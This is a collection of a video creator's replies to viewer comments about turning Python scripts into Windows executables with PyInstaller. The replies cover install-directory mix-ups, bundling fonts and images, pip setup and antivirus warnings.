Hi thank you for sharing your fix! Hopefully others find this super useful as well!

You are welcome and I am so glad you found the video useful!! Thanks for watching :)

Awesome thank you for watching!

Hi I am sorry I am not certain how to solve this as I’ve never had that specific error!

Hello, you should not need to have the destination computer install python - when the py to exe packager runs its supposed to include the interpolation to machine code required for anyone to run the .exe !

Thanks so much for sharing Im glad it was useful for you!!

Hello! Yes it should do that just fine!

Thank you! And I honestly just typed space wallpapers into google images and chose one I thought was cool haha - I love space :) Thanks for watching!!

Hello the only time I had an issue like this I had accidentally installed pyinstaller in a different root folder than my main.py program! It’s possible to only install pyinstaller into like the root c folder but then the file lives in another location! Maybe double check that??

@@lemastertech yes, it was definetly the wrong folder problem. Thank you very much!

You’re very welcome thanks for watching!

You shouldn’t but I also read a recent patch note that for some reason most firewalls and malware softwares are calling out packages created with pyinstaller as potentially suspicious or malware

Hi I’m sorry to hear you’re getting that error - you could try using the OS and sys modules to actually point to a specific folder on your computer in case the exe is moved!

you're very welcome, thank you for watching!

Awesome you are welcome!! Thanks for watching!

Yes according to the documentation for pyinstaller but I have seen many people commenting here that when they send it to friends their computers are flagging it as untrustworthy! I haven’t personally run in to that sending them to others but a lot of people have commented here that they have seen it

Most of the time when this is happening the installer package got installed to a different directory than the main.py file lives in!

That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?

Hi I am sorry but I have not had any experience with this error before and am not sure what could have caused it!

Glad I could help! Thanks for watching!

thanks!

Thanks for watching!! Bundling all associated assets into the .exe should be doable but I’ll be honest I don’t know specifically about combining a bunch of different file and format types for a python exe!

Yes you just need to have embedded assets but that is a little more complicated!

They should not need python installed on their end it should work like any other executable file!

You got it thanks for watching!!

I have not sent an application with Django before via an exe so I’m sorry not sure what you could do in that case!!

Hm I’m sorry I’m not sure why it doesn’t work for 7!

Hi, you may have installed pyinstaller in the wrong directory or executed the command from the wrong directory here!

@@lemastertech Hi, thank you for reply! I'm using a subprocess in my project and that confused me with a path😄

I have had a few people comment on this video that they have run into this although I haven’t dealt with it myself! I believe there is a manual way to add an exception to whatever antivirus software you are using to allow this specific program and file but I think it depends on your antivirus software!

Hi, this is typically happening due to pyinstaller being installed in a different folder location than it’s attempting to be run in. I would suggest trying to change the directory to either your root folder or install pyinstaller in whatever directory you are trying to use!

ok thank you@@lemastertech

Honestly this method is the best way I’ve found for packing a python program as an executable but I really think C based compiled languages are your best bet for advanced or complicated apps! I know python can be used for it but that’s not something I’ve had much experience with im sorry!

Hi I think that's an awesome idea and I really want to do something like this soon! Unfortunately I mostly work on my Projects and my KZfaq videos while I am at work ( I work from home) but could get sucked into a call or helping someone with something at any moment and most of my evenings are pretty busy! But I am trying to figure out how I could do some livestream events for sure! Thanks for the suggestion!

Btw that link isnt a link KZfaq think's Something.py is a website

Hi, most likely this is due to an image in a folder in a different location than the source .py file - if possible, probably just best to drop all your image assets in the same folder location as your root .py file!!

You’re welcome thanks for watching!!

Good job solving it!!

Probably need to run pip install pyinstaller in the same directory you are trying to execute in

That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?

Probably means you need to run pip and install pyinstaller first!

Sounds like pyinstaller is not installed in the same directory you’re running the command in

Solved it. I ended up using Arial instead and I copied the ttf file for that font into the Dist folder and then ran pyinstaller again

Yeah so what you need to do is get the freesansbold.ttf file and include it in the same folder as your exe file! Thats the easiest way to do it, or you can go back into your python file and use any ttf file you want, just be sure to include it in the folder you run your exe from once you convert to a .exe!

You’re very welcome thank you for watching!

Hi! Great question and the answer is I’m honestly not sure I don’t have a mac, but most python modules are compatible with both but possibly with some different syntax! If you try it and it doesn’t work let me know!

No you’re the best! 😆 thanks for watching!!

Alright good job! Glad I could help haha

You could compile them all into one file before exporting!!

You’re welcome thank you for watching!!

Thank you for watching!

Hi - I have heard from others that happens to them as well. I think there’s an exe “trust” or authentication thing you can run the exe files through but it’s a nuisance still!

Hello, I believe so but I honestly have never tried it so you might need to check their online documentation to verify that!

Hello I’m sorry I do not have prior experience with MacBooks! I have only ran this on windows and have not seen that issue before!

@@lemastertech thanks for answering anyway. Actually a got a little closer to the solution. I’ve got to put my Python frameworks to the path so the pyinstaller can work.

So just like with any .exe, any additional assets that are needed by the program have to be in the same program folder as the .exe! If all the program does is python functionality with no other outside stuff you can just send it as is! But if you have images or fonts or sound files or text files they need to be packaged up together in either a folder or zip folder when you send it!

@@lemastertech Ok, in my program there are images and fonts, and the .exe file on the pc where I wrote it works, but sending the .exe file on another pc, also sending the folder with the images and fonts and also putting the .py file gives me error FileNotFoundError: No such file on directory: "file path"

And is your problem got resolved if so how​@@lemastertech

Hi I have not tried to do this specifically but I know pyinstaller is like a more light weight package and I am not sure how to encrypt it myself! Sorry!

Hi - you can choose any python GUI package you want. I have lessons on how to make GUIs with tkinter, kivy, and pygame! There’s a lot of other options too!

You’re welcome thank you for watching!!

Hello, its hard to say for sure what could be happening without seeing the full code but this sort of issue pops up alot with infinite while loops! Sometimes your code can enter a section it has no way out of and that essentially crashes the machine! I'd start by checking that, goodluck!

@@lemastertech hey thanks so much! You’ll be the first I’ll tell if it works.

@@MadmanGamingofficial Awesome, good luck my friend!

Ok so progress has been made, as it doesn't spam open command prompt windows anymore. However, it does still randomly loop. Here is a video of what happens: kzfaq.info/get/bejne/d66hZbGU2bTdh6s.html not sure if you noticed to, but it says that the system cannot find the file specified, not sure why that happens on the exe. also here is the full code.

Hi, this sounds like you might have installed pyinstaller in a project folder and are trying to actually execute it elsewhere? Try changing directory and pip installing pyinstaller to the c$ folder!

If pip is not found you need to uninstall python and reinstall it but add pip to the system path during install. Pip is included with python if you check the correct checkbox when you install it

Hi! I think to do what you’re talking about you need to have an init.py file that can tell the installer to treat all Py files in the folder as part of the total package! There’s some really good documentation about setting up an init file and how to call all your subsequent files from that file! Goodluck friend!

The .exe and any images,sounds, fonts, or files you reference within your program!!

@@lemastertech ok thanks for such a fast response.

Hi - this is likely not an issue of pyinstaller per say. That error message pops up usually when there is an 'off-by-one' scenario somewhere in the code. Like a color that is using 0-256 as its rgb value but is unintentionally able to use 256, when the range actually ends at 255 - I would check if you have rgbs or any other bytes of data that could be looking t 256 or a value greater than 256!

Did you pip install pyinstaller??

im having the same issue, i already did pip install pyinstaller@@lemastertech

Hi I am sorry I have not encountered any issues where my executables run really slow after using pyinstaller! Just some thoughts, have you included all the assets in the same folder/directory as your exe? If the program can’t find all the necessary assets that can cause errors!

@@lemastertech Yes its all included. I forgot to say that is onefile exe. In onedir is very fast (runs in a 6 seconds) but i need to make this in one file.

Idk what streamlit is I haven’t worked with that

Has anyone tried?

Yes that is what this does!

You might have installed Py installer inside a folder like the same location as your pygame project, but if you’re running Cmd on your root c folder you need it installed there, or you need to change directory to the same as your pygame project!

@@lemastertech I changed my directory. can you tell me what specific folder pyinstaller should be at in order for me to verify if it is in the correct spot.

Hi not sure what you mean by auto updating? You mean for patching updates to an already existing application or executable?

@@lemastertech Yes. Patching an already existing program without user intervention.

Does it say what modules are missing? Most IDEs give a little detail about it! Sometimes you have to point pip to a specific directory when installing packets!

What error

You mean like alt text or original creation Date? Not using this method as far as I know

Hi this sounds like your computer doesn’t recognize pip - that’s a check box you need to check during install of python! If you didn’t install pip when you installed python you might a quick uninstall then reinstall!

@@lemastertech oh okay let me just try :D

Uninstall what? If you turn your program into an exe you still have the original program!

To install PyInstaller: Go to your command prompt (Start -> Run -> cmd) type the following command cd c:\python27\scripts press enter, this should be where your pip.exe file is located. Once you are in this directory type pip install pyinstaller press enter Message should read Successfully installed pyinstaller.

Do you just mean how to make an executable file that you can modify the icon image for? Like on the desktop have it show up with an icon?

@@lemastertech yes but i need changed

@@aticcorp2015 1- Create or download an . ico file. 2 -Right-click the desktop. 3 - Click New and then Shortcut. 4 - Browse for the .exe and click OK. 5 - Name the file and click Finish. 6 - Right-click the shortcut. 7 - Click Properties. 8 - Click Change Icon and select the new icon

@@lemastertech ok thx

I actually really like the pycharm IDE but vs code is good for sure! very powerful!

Kind of hard to help with that super vague description tbh

Quarter knowledge even more dangerous, one eight knowledge perhaps the most dangerous

@@lemastertech Don't argue.. try taking a look at how data files are bundled with pyinstaller and what changes you need to make to the paths so that those files are located at the end when you only run the .exe

No u

Thanks for the tip - although Interesting decision to leave such a comment on a KZfaq video about creating python executables!

@@lemastertech talking to people about their creator for me is anywhere anytime as this is my purpose of life making my creator happy of me i have nothing else, and great vid by the way although having some issues as my applications contains mediapipe tf and opencv 🤝

I’m not going to make an entire video dedicated to one minor issue from an extremely rude KZfaq commenter.
